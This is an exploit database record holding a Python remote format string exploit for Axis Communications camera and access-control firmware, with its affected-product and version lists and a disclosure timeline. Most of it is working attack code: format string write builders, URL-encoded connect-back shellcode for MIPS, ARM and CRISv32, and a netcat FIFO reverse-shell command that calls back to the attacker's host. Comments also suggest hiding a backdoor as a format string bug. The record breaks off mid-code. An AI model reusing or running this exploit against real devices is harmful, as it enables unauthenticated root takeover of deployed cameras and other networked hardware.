remote exploits", "modified": "2016-07-19T00:00:00", "published": "2016-07-19T00:00:00", "id": "1337DAY-ID-25439", "href": "https://0day.today/exploit/description/25439", "type": "zdt", "title": "Axis Communications MPQT/PACS 5.20.x - Server Side Include (SSI) Daemon Remote Format String", "sourceData": "#!/usr/bin/env python2.7\r\n# \r\n# [SOF]\r\n#\r\n# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon\r\n# Research and development by bashis <mcw noemail eu> 2016\r\n#\r\n# This format string vulnerability has following characteristic:\r\n# - Heap Based (Exploiting string located on the heap)\r\n# - Blind Attack (No output the remote attacker)(*)\r\n# - Remotly exploitable (As anonymous, no credentials needed)\r\n#\r\n# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.\r\n#\r\n# This exploit has following characteristic:\r\n# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]\r\n# - Modifying LHOST/LPORT in shellcode on the fly\r\n# - Manual exploiting of remote targets\r\n# - Simple HTTPS support\r\n# - Basic Authorization support (not needed for this exploit)\r\n# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode\r\n# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)\r\n# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root\r\n# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)\r\n# - Multiple FMS exploit techniques\r\n# - \"One-Write-Where-And-What\" for MIPS and CRISv32\r\n# Using \"Old Style\" POP's\r\n# Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call\r\n# Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.\r\n# - \"Two-Write-Where-And-What\" for ARM\r\n# 1) \"Old Style\": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address\r\n# 2) \"New Style\": ARM Arch's have both \"Old Style\" (>5.50.x) )POPs and \"New Style\" (<5.40.x) direct parameter access for POP/Write\r\n# [Big differnce in possibilities between \"Old Style\" and \"New Style\", pretty interesting actually]\r\n# - Another way to POP with \"Old Style\", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)\r\n# - Exploit is quite well documented\r\n#\r\n# Anyhow,\r\n# Everything started from this simple remote request:\r\n#\r\n# ---\r\n# $ echo -en \"GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\\n\\n\" | netcat 192.168.0.90 80\r\n# HTTP/1.1 500 Server Error\r\n# Content-Type: text/html; charset=ISO-8859-1\r\n#\r\n# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>\r\n# <BODY><H1>500 Server Error</H1>\r\n# The server encountered an internal error and could not complete your request.\r\n# </BODY></HTML>\r\n# ---\r\n#\r\n# Which gave this output in /var/log/messages on the remote device:\r\n#\r\n# ---\r\n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10\r\n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.\r\n# ---\r\n#\r\n# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products\r\n#\r\n# ---\r\n# $ netcat -vvlp 31337\r\n# listening on [any] 31337 ...\r\n# 192.168.0.90: inverse host lookup failed: Unknown host\r\n# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738\r\n# id\r\n# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)\r\n# pwd\r\n# /usr/html\r\n# ---\r\n#\r\n# Some technical notes:\r\n#\r\n# 1. Direct addressing with %<argument>$%n is \"delayed\", and comes in force only after disconnect.\r\n# Old metod with POP's coming into force instantly\r\n#\r\n# 2. Argument \"0\" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)\r\n# - Would be interesting to investigate why.\r\n#\r\n# 3. Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26\r\n# Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff\r\n#\r\n# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff\r\n# Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f\r\n#\r\n# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:\r\n# Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)\r\n#\r\n# 4. Everything is randomized, except heap.\r\n#\r\n# 5. My initial attempts to use ROP's was not good, as I didn't want to create\r\n# one unique FMS key by testing each single firmware version, and using ROP with FMS\r\n# on heap seems pretty complicated as there is one jump availible, maximum two.\r\n#\r\n# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.\r\n# \r\n# 6. Encoded and Decoded shellcode located in .bss section.\r\n# 6.1 FMS excecuted on heap\r\n#\r\n# 7. Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM\r\n# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,\r\n# so execute shellcode on heap/stack may be impossible.\r\n# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,\r\n# and re-compile of the image.\r\n# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.\r\n#\r\n# 8. This exploit are pretty well documented, more details can be extracted by reading\r\n# the code and comments.\r\n#\r\n# MIPS ssid maps\r\n# 00400000-0040d000 r-xp 00000000 00:01 2272 /bin/ssid\r\n# 0041d000-0041e000 rw-p 0000d000 00:01 2272 /bin/ssid\r\n# 0041e000-00445000 rwxp 00000000 00:00 0 [heap]\r\n#\r\n# ARM ssid maps\r\n# 00008000-00014000 r-xp 00000000 00:01 2055 /bin/ssid\r\n# 0001c000-0001d000 rw-p 0000c000 00:01 2055 /bin/ssid\r\n# 0001d000-00044000 rw-p 00000000 00:00 0 [heap]\r\n#\r\n# Crisv32 ssid maps\r\n# 00080000-0008c000 r-xp 00000000 1f:03 115 /bin/ssid\r\n# 0008c000-0008e000 rw-p 0000a000 1f:03 115 /bin/ssid\r\n# 0008e000-000b6000 rwxp 0008e000 00:00 0 [heap]\r\n#\r\n# General notes:\r\n#\r\n# When the vul daemon process is exploited, and after popping root connect-back shell,\r\n# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,\r\n# when the main process are fully alive again, I can enjoy the shell, and everybody else can\r\n# enjoy of the camera - that should make all of us happy ;)\r\n# During exploiting, logs says almost nothing, only that the main process restarted.\r\n# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)\r\n#\r\n# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),\r\n# after ssid cannot verify the user, free() are the closest function to be called after\r\n# vsyslog(), needed and perfect to use for jumping.\r\n# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.\r\n# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.\r\n#\r\n# Quite surprised to see so many different devices and under one major release version,\r\n# that's covered by one \"FMS key\". The \"FMS key\" are valid for all minor versions under the major version.\r\n#\r\n# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor, \r\n# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password. \r\n#\r\n# - No hardcoded login/password that could easily be found in firmware/software files. \r\n# - Extremely hard to find without local access (and find out what to trigger for opening the door)\r\n# - Nobody can not actually prove it is a sophisticated door for sure. \"It's just another bug.. sorry! - here is the fixed version.\"\r\n# (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)\r\n#\r\n# Note:\r\n# I don't say that Axis Communication has made this hidden format string by this purpose.\r\n# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon, \r\n# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr().\r\n#\r\n# Vulnerable and exploitable products\r\n#\r\n# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,\r\n# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,\r\n# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,\r\n# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,\r\n# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,\r\n# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,\r\n# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,\r\n# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,\r\n# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,\r\n# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,\r\n# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,\r\n# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,\r\n# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,\r\n# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,\r\n# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,\r\n# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more\r\n#\r\n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt\r\n#\r\n# Firmware versions vulnerable to the SSI FMS exploit\r\n#\r\n# ('V.Vx' == The FMS key used in this exploit)\r\n#\r\n# Firmware Introduced CRISv32 MIPS ARM (no exec heap from >5.20.x)\r\n# 5.00.x 2008 - - no\r\n# 5.01.x 2008 no - no\r\n# 5.02.x 2008 no - -\r\n# 5.05.x 2009 no - -\r\n# 5.06.x 2009 no - -\r\n# 5.07.x 2009 no - no\r\n# 5.08.x 2010 no - -\r\n# 5.09.x 2010 no - -\r\n# 5.10.x 2009 no - -\r\n# 5.11.x 2010 no - -\r\n# 5.12.x 2010 no - -\r\n# 5.15.x 2010 no - -\r\n# 5.16.x 2010 no - -\r\n# 5.20.x 2010-2011 5.2x - 5.2x\r\n# 5.21.x 2011 5.2x - 5.2x\r\n# 5.22.x 2011 5.2x - -\r\n# 5.25.x 2011 5.2x - -\r\n# 5.40.x 2011 5.4x 5.4x 5.4x\r\n# 5.41.x 2012 5.4x - -\r\n# 5.50.x 2013 5.5x 5.5x 5.4x\r\n# 5.51.x 2013 - 5.4x -\r\n# 5.55.x 2013 - 5.5x 5.5x\r\n# 5.60.x 2014 - 5.6x 5.6x\r\n# 5.65.x 2014-2015 - 5.6x -\r\n# 5.70.x 2015 - 5.7x -\r\n# 5.75.x 2015 - 5.7x 5.7x\r\n# 5.80.x 2015 - 5.8x 5.8x\r\n# 5.81.x 2015 - 5.8x -\r\n# 5.85.x 2015 - 5.8x 5.8x\r\n# 5.90.x 2015 - 5.9x -\r\n# 5.95.x 2016 - 5.9x 5.8x\r\n# 6.10.x 2016 - 6.1x -\r\n# 6.15.x 2016 - - 6.1x\r\n# 6.20.x 2016 - 6.2x -\r\n#\r\n# Vendor URL's of still supported and affected products\r\n#\r\n# http://www.axis.com/global/en/products/access-control\r\n# http://www.axis.com/global/en/products/video-encoders\r\n# http://www.axis.com/global/en/products/network-cameras\r\n# http://www.axis.com/global/en/products/audio\r\n#\r\n# Axis Product Security\r\n#\r\n# [email\u00a0protected]\r\n# http://www.axis.com/global/en/support/product-security\r\n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt\r\n# http://www.axis.com/global/en/support/faq/FAQ116268\r\n#\r\n# Timetable\r\n#\r\n# - Research and Development: 06/01/2016 - 01/06/2016\r\n# - Sent vulnerability details to vendor: 05/06/2016\r\n# - Vendor responce received: 06/06/2016\r\n# - Vendor ACK of findings received: 07/06/2016\r\n# - Vendor sent verification image: 13/06/2016\r\n# - Confirmed that exploit do not work after vendors correction: 13/06/2016\r\n# - Vendor informed about their service release(s): 29/06/2016\r\n# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016\r\n# - Full Disclosure: 18/07/2016\r\n#\r\n# Quote of the day: Never say \"whoops! :o\", always say \"Ah, still interesting! :>\"\r\n#\r\n# Have a nice day\r\n# /bashis\r\n#\r\n#####################################################################################\r\n \r\nimport sys\r\nimport string\r\nimport socket\r\nimport time\r\nimport argparse\r\nimport urllib, urllib2, httplib\r\nimport base64\r\nimport ssl\r\nimport re\r\n \r\n \r\nclass do_FMS:\r\n \r\n# POP = \"%8x\" # Old style POP's with 8 bytes per POP\r\n POP = \"%1c\" # Old style POP's with 1 byte per POP\r\n WRITElln = \"%lln\" # Write 8 bytes\r\n WRITEn = \"%n\" # Write 4 bytes\r\n WRITEhn = \"%hn\" # Write 2 bytes\r\n WRITEhhn = \"%hhn\" # Write 1 byte\r\n \r\n def __init__(self,targetIP,verbose):\r\n self.targetIP = targetIP\r\n self.verbose = verbose\r\n self.fmscode = \"\"\r\n \r\n # Mostly used internally in this function\r\n def Add(self, data):\r\n self.fmscode += data\r\n \r\n # 'New Style' Double word (8 bytes)\r\n def AddDirectParameterLLN(self, ADDR):\r\n self.Add('%')\r\n self.Add(str(ADDR))\r\n self.Add('$lln')\r\n \r\n # 'New Style' Word (4 bytes)\r\n def AddDirectParameterN(self, ADDR):\r\n self.Add('%')\r\n self.Add(str(ADDR))\r\n self.Add('$n')\r\n \r\n # 'New Style' Half word (2 bytes)\r\n def AddDirectParameterHN(self, ADDR):\r\n self.Add('%')\r\n self.Add(str(ADDR))\r\n self.Add('$hn')\r\n \r\n # 'New Style' One Byte (1 byte)\r\n def AddDirectParameterHHN(self, ADDR):\r\n self.Add('%')\r\n self.Add(str(ADDR))\r\n self.Add('$hhn')\r\n \r\n # Addressing\r\n def AddADDR(self, ADDR):\r\n self.Add('%')\r\n self.Add(str(ADDR))\r\n self.Add('u')\r\n \r\n # 'Old Style' POP\r\n def AddPOP(self, size):\r\n if size != 0:\r\n self.Add(self.POP * size)\r\n \r\n # Normally only one will be sent, multiple is good to quick-check for any FMS\r\n #\r\n # 'Old Style' Double word (8 bytes)\r\n def AddWRITElln(self, size):\r\n self.Add(self.WRITElln * size)\r\n \r\n # 'Old Style' Word (4 bytes)\r\n def AddWRITEn(self, size):\r\n self.Add(self.WRITEn * size)\r\n \r\n # 'Old Style' Half word (2 bytes)\r\n def AddWRITEhn(self, size):\r\n self.Add(self.WRITEhn * size)\r\n \r\n # 'Old Style' One byte (1 byte)\r\n def AddWRITEhhn(self, size):\r\n self.Add(self.WRITEhhn * size)\r\n \r\n # Return the whole FMS string\r\n def FMSbuild(self):\r\n return self.fmscode\r\n \r\nclass HTTPconnect:\r\n \r\n def __init__(self, host, proto, verbose, creds, noexploit):\r\n self.host = host\r\n self.proto = proto\r\n self.verbose = verbose\r\n self.credentials = creds\r\n self.noexploit = noexploit\r\n \r\n # Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\\t','$','`' etc..\r\n def RAW(self, uri):\r\n # Connect-timeout in seconds\r\n timeout = 5\r\n socket.setdefaulttimeout(timeout)\r\n \r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n tmp = self.host.split(':')\r\n HOST = tmp[0]\r\n PORT = int(tmp[1])\r\n if self.verbose:\r\n print \"[Verbose] Sending to:\", HOST\r\n print \"[Verbose] Port:\", PORT\r\n print \"[Verbose] URI:\",uri\r\n s.connect((HOST, PORT))\r\n s.send(\"GET %s HTTP/1.0\\r\\n\\r\\n\" % uri)\r\n html = (s.recv(4096)) # We really do not care whats coming back\r\n# if html:\r\n# print \"[i] Received:\",html\r\n s.shutdown(3)\r\n s.close()\r\n return html\r\n \r\n \r\n def Send(self, uri):\r\n \r\n # The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually\r\n # matter for the functionality of this exploit, only for future references.\r\n headers = { \r\n 'User-Agent' : 'MSIE',\r\n }\r\n \r\n # Connect-timeout in seconds\r\n timeout = 5\r\n socket.setdefaulttimeout(timeout)\r\n \r\n url = '%s://%s%s' % (self.proto, self.host, uri)\r\n \r\n if self.verbose:\r\n print \"[Verbose] Sending:\", url\r\n \r\n if self.proto == 'https':\r\n if hasattr(ssl, '_create_unverified_context'):\r\n print \"[i] Creating SSL Default Context\"\r\n ssl._create_default_https_context = ssl._create_unverified_context\r\n \r\n if self.credentials:\r\n Basic_Auth = self.credentials.split(':')\r\n if self.verbose:\r\n print \"[Verbose] User:\",Basic_Auth[0],\"Password:\",Basic_Auth[1]\r\n try:\r\n pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()\r\n pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])\r\n auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)\r\n opener = urllib2.build_opener(auth_handler)\r\n urllib2.install_opener(opener)\r\n except Exception as e:\r\n print \"[!] Basic Auth Error:\",e\r\n sys.exit(1)\r\n \r\n if self.noexploit and not self.verbose:\r\n print \"[<] 204 Not Sending!\"\r\n html = \"Not sending any data\"\r\n else:\r\n data = None\r\n req = urllib2.Request(url, data, headers)\r\n rsp = urllib2.urlopen(req)\r\n if rsp:\r\n print \"[<] %s OK\" % rsp.code\r\n html = rsp.read()\r\n return html\r\n \r\n \r\nclass shellcode_db:\r\n \r\n def __init__(self,targetIP,verbose):\r\n self.targetIP = targetIP\r\n self.verbose = verbose\r\n \r\n def sc(self,target):\r\n self.target = target\r\n \r\n \r\n# Connect back shellcode\r\n#\r\n# CRISv32: Written by myself, no shellcode availible out on \"The Internet\"\r\n# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators\r\n# MIPSel: Written by Jacob Holcomb (url encoded by me)\r\n# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php\r\n#\r\n # Slightly modified syscall's\r\n MIPSel = string.join([\r\n #close stdin\r\n \"%ff%ff%04%28\" #slti a0,zero,-1\r\n \"%a6%0f%02%24\" #li v0,4006\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #close stdout\r\n \"%11%11%04%28\" #slti a0,zero,4369\r\n \"%a6%0f%02%24\" #li v0,4006\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #close stderr\r\n \"%fd%ff%0c%24\" #li t4,-3\r\n \"%27%20%80%01\" #nor a0,t4,zero\r\n \"%a6%0f%02%24\" #li v0,4006\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n # socket AF_INET (2)\r\n \"%fd%ff%0c%24\" #li t4,-3\r\n \"%27%20%80%01\" #nor a0,t4,zero\r\n \"%27%28%80%01\" #nor a1,t4,zero\r\n \"%ff%ff%06%28\" #slti a2,zero,-1\r\n \"%57%10%02%24\" #li v0,4183\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #\r\n \"%ff%ff%44%30\" # andi $a0, $v0, 0xFFFF\r\n #\r\n # dup2 stdout\r\n \"%c9%0f%02%24\" #li v0,4041\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #\r\n # dup2 stderr\r\n \"%c9%0f%02%24\" #li v0,4041\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #\r\n # Port\r\n \"PP1PP0%05%3c\"\r\n \"%01%ff%a5%34\"\r\n #\r\n \"%01%01%a5%20\" #addi a1,a1,257\r\n \"%f8%ff%a5%af\" #sw a1,-8(sp)\r\n #\r\n # IP\r\n \"IP3IP4%05%3c\"\r\n \"IP1IP2%a5%34\"\r\n #\r\n \"%fc%ff%a5%af\" #sw a1,-4(sp)\r\n \"%f8%ff%a5%23\" #addi a1,sp,-8\r\n \"%ef%ff%0c%24\" #li t4,-17\r\n \"%27%30%80%01\" #nor a2,t4,zero\r\n \"%4a%10%02%24\" #li v0,4170\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n #\r\n \"%62%69%08%3c\" #lui t0,0x6962\r\n \"%2f%2f%08%35\" #ori t0,t0,0x2f2f\r\n \"%ec%ff%a8%af\" #sw t0,-20(sp)\r\n \"%73%68%08%3c\" #lui t0,0x6873\r\n \"%6e%2f%08%35\" #ori t0,t0,0x2f6e\r\n \"%f0%ff%a8%af\" #sw t0,-16(sp\r\n \"%ff%ff%07%28\" #slti a3,zero,-1\r\n \"%f4%ff%a7%af\" #sw a3,-12(sp)\r\n \"%fc%ff%a7%af\" #sw a3,-4(sp\r\n \"%ec%ff%a4%23\" #addi a0,sp,-20\r\n \"%ec%ff%a8%23\" #addi t0,sp,-20\r\n \"%f8%ff%a8%af\" #sw t0,-8(sp)\r\n \"%f8%ff%a5%23\" #addi a1,sp,-8\r\n \"%ec%ff%bd%27\" #addiu sp,sp,-20\r\n \"%ff%ff%06%28\" #slti a2,zero,-1\r\n \"%ab%0f%02%24\" #li v0,4011 (execve)\r\n \"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n ], '') \r\n \r\n # Working netcat shell\r\n # - $PATH will locate 'mkfifo', 'nc' and 'rm'\r\n # - LHOST / LPORT will be changed on the fly later in the code\r\n # - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting\r\n # - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]\r\n # $ echo -n \"$IFS\" | hexdump -C\r\n # 00000000 20 09 0a\r\n # - $PS1 = $ [By default, and we need something to \"comment\" out our trailing FMS code from /bin/sh -c]\r\n #\r\n # '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator\r\n #\r\n # Working with Apache and Boa\r\n# NCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s\\\"$IFS\\\"2>/tmp/s;rm$IFS/tmp/s;$PS1\"\r\n NCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1\"\r\n \r\n ARMel = string.join([\r\n # original: http://shell-storm.org/shellcode/files/shellcode-754.php\r\n # 32-bit instructions, enter thumb mode\r\n \"%01%10%8f%e2\" # add r1, pc, #1\r\n \"%11%ff%2f%e1\" # bx r1\r\n \r\n # 16-bit thumb instructions follow\r\n #\r\n # socket(2, 1, 0)\r\n \"%02%20\" #mov r0, #2\r\n \"%01%21\" #mov r1, #1\r\n \"%92%1a\" #sub r2, r2, r2\r\n \"%0f%02\" #lsl r7, r1, #8\r\n \"%19%37\" #add r7, r7, #25\r\n \"%01%df\" #svc 1\r\n #\r\n # connect(r0, &addr, 16)\r\n \"%06%1c\" #mov r6, r0\r\n \"%08%a1\" #add r1, pc, #32\r\n \"%10%22\" #mov r2, #16\r\n \"%02%37\" #add r7, #2\r\n \"%01%df\" #svc 1\r\n #\r\n # dup2(r0, 0/1/2)\r\n \"%3f%27\" #mov r7, #63\r\n \"%02%21\" #mov r1, #2\r\n #\r\n #lb:\r\n \"%30%1c\" #mov r0, r6\r\n \"%01%df\" #svc 1\r\n \"%01%39\" #sub r1, #1\r\n \"%fb%d5\" #bpl lb\r\n #\r\n # execve(\"/bin/sh\", [\"/bin/sh\", 0], 0)\r\n \"%05%a0\" #add r0, pc, #20\r\n \"%92%1a\" #sub r2, r2, r2\r\n \"%05%b4\" #push {r0, r2}\r\n \"%69%46\" #mov r1, sp\r\n \"%0b%27\" #mov r7, #11\r\n \"%01%df\" #svc 1\r\n #\r\n \"%c0%46\" # .align 2 (NOP)\r\n \"%02%00\" # .short 0x2 (struct sockaddr)\r\n \"PP1PP0\" # .short 0x3412 (port: 0x1234)\r\n \"IP1IP2IP3IP4\" #.byte 192,168,57,1 (ip: 192.168.57.1)\r\n # .ascii \"/bin/sh\\0\\0\"\r\n \"%2f%62%69%6e\" # /bin\r\n \"%2f%73%68%00%00\" # /sh\\x00\\x00\r\n \"%00%00%00%00\"\r\n \"%c0%46\"\r\n ], '') \r\n \r\n \r\n # Connect-back shell for Axis CRISv32\r\n # Written by mcw noemail eu 2016\r\n #\r\n CRISv32 = string.join([\r\n #close(0)\r\n \"%7a%86\" # clear.d r10 \r\n \"%5f%9c%06%00\" # movu.w 0x6,r9\r\n \"%3d%e9\" # break 13\r\n #close(1)\r\n \"%41%a2\" # moveq 1,r10\r\n \"%5f%9c%06%00\" # movu.w 0x6,r9\r\n \"%3d%e9\" # break 13\r\n #close(2)\r\n \"%42%a2\" # moveq 2,r10\r\n \"%5f%9c%06%00\" # movu.w 0x6,r9\r\n \"%3d%e9\" # break 13\r\n #\r\n \"%10%e1\" # addoq 16,sp,acr\r\n \"%42%92\" # moveq 2,r9\r\n \"%df%9b\" # move.w r9,[acr]\r\n \"%10%e1\" # addoq 16,sp,acr\r\n \"%02%f2\" # addq 2,acr\r\n #PORT\r\n \"%5f%9ePP1PP0\" # move.w 0xPP1PP0,r9 #\r\n \"%df%9b\" # move.w r9,[acr]\r\n \"%10%e1\" # addoq 16,sp,acr\r\n \"%6f%96\" # move.d acr,r9\r\n \"%04%92\" # addq 4,r9\r\n #IP\r\n \"%6f%feIP1IP2IP3IP4\" # move.d IP4IP3IP2IP1,acr\r\n \"%e9%fb\" # move.d acr,[r9]\r\n #\r\n #socket()\r\n \"%42%a2\" # moveq 2,r10\r\n \"%41%b2\" # moveq 1,r11\r\n \"%7c%86\" # clear.d r12\r\n \"%6e%96\" # move.d $sp,$r9\r\n \"%e9%af\" # move.d $r10,[$r9+]\r\n \"%e9%bf\" # move.d $r11,[$r9+]\r\n \"%e9%cf\" # move.d $r12,[$r9+]\r\n \"%41%a2\" # moveq 1,$r10\r\n \"%6e%b6\" # move.d $sp,$r11\r\n \"%5f%9c%66%00\" # movu.w 0x66,$r9\r\n \"%3d%e9\" # break 13\r\n #\r\n \"%6a%96\" # move.d $r10,$r9\r\n \"%0c%e1\" # addoq 12,$sp,$acr\r\n \"%ef%9b\" # move.d $r9,[$acr]\r\n \"%0c%e1\" # addoq 12,$sp,$acr\r\n \"%6e%96\" # move.d $sp,$r9\r\n \"%10%92\" # addq 16,$r9\r\n \"%6f%aa\" # move.d [$acr],$r10\r\n \"%69%b6\" # move.d $r9,$r11\r\n \"%50%c2\" # moveq 16,$r12\r\n #\r\n # connect()\r\n \"%6e%96\" # move.d $sp,$r9\r\n \"%e9%af\" # move.d $r10,[$r9+]\r\n \"%e9%bf\" # move.d $r11,[$r9+]\r\n \"%e9%cf\" # move.d $r12,[$r9+]\r\n \"%43%a2\" # moveq 3,$r10\r\n \"%6e%b6\" # move.d $sp,$r11\r\n \"%5f%9c%66%00\" # movu.w 0x66,$r9 \r\n \"%3d%e9\" # break 13\r\n # dup(0) already in socket\r\n #dup(1)\r\n \"%6f%aa\" # move.d [$acr],$r10\r\n \"%41%b2\" # moveq 1,$r11\r\n \"%5f%9c%3f%00\" # movu.w 0x3f,$r9\r\n \"%3d%e9\" # break 13\r\n #\r\n #dup(2)\r\n \"%6f%aa\" # move.d [$acr],$r10\r\n \"%42%b2\" # moveq 2,$r11\r\n \"%5f%9c%3f%00\" # movu.w 0x3f,$r9\r\n \"%3d%e9\" # break 13\r\n #\r\n #execve(\"/bin/sh\",NULL,NULL)\r\n \"%90%e2\" # subq 16,$sp\r\n \"%6e%96\" # move.d $sp,$r9\r\n \"%6e%a6\" # move.d $sp,$10\r\n \"%6f%0e%2f%2f%62%69\" # move.d 69622f2f,$r0\r\n \"%e9%0b\" # move.d $r0,[$r9]\r\n \"%04%92\" # addq 4,$r9\r\n \"%6f%0e%6e%2f%73%68\" # move.d 68732f6e,$r0\r\n \"%e9%0b\" # move.d $r0,[$r9]\r\n \"%04%92\" # addq 4,$r9\r\n \"%79%8a\" # clear.d [$r9]\r\n \"%04%92\" # addq 4,$r9\r\n \"%79%8a\" # clear.d [$r9]\r\n \"%04%92\" # addq 4,$r9\r\n \"%e9%ab\" # move.d $r10,[$r9]\r\n \"%04%92\" # addq 4,$r9\r\n \"%79%8a\" # clear.d [$r9]\r\n \"%10%e2\" # addq 16,$sp\r\n \"%6e%f6\" # move.d $sp,$acr\r\n \"%6e%96\" # move.d $sp,$r9\r\n \"%6e%b6\" # move.d $sp,$r11\r\n \"%7c%86\" # clear.d $r12\r\n \"%4b%92\" # moveq 11,$r9\r\n \"%3d%e9\" # break 13\r\n ], '') \r\n \r\n \r\n if self.target == 'MIPSel':\r\n return MIPSel\r\n elif self.target == 'ARMel':\r\n return ARMel\r\n elif self.target == 'CRISv32':\r\n return 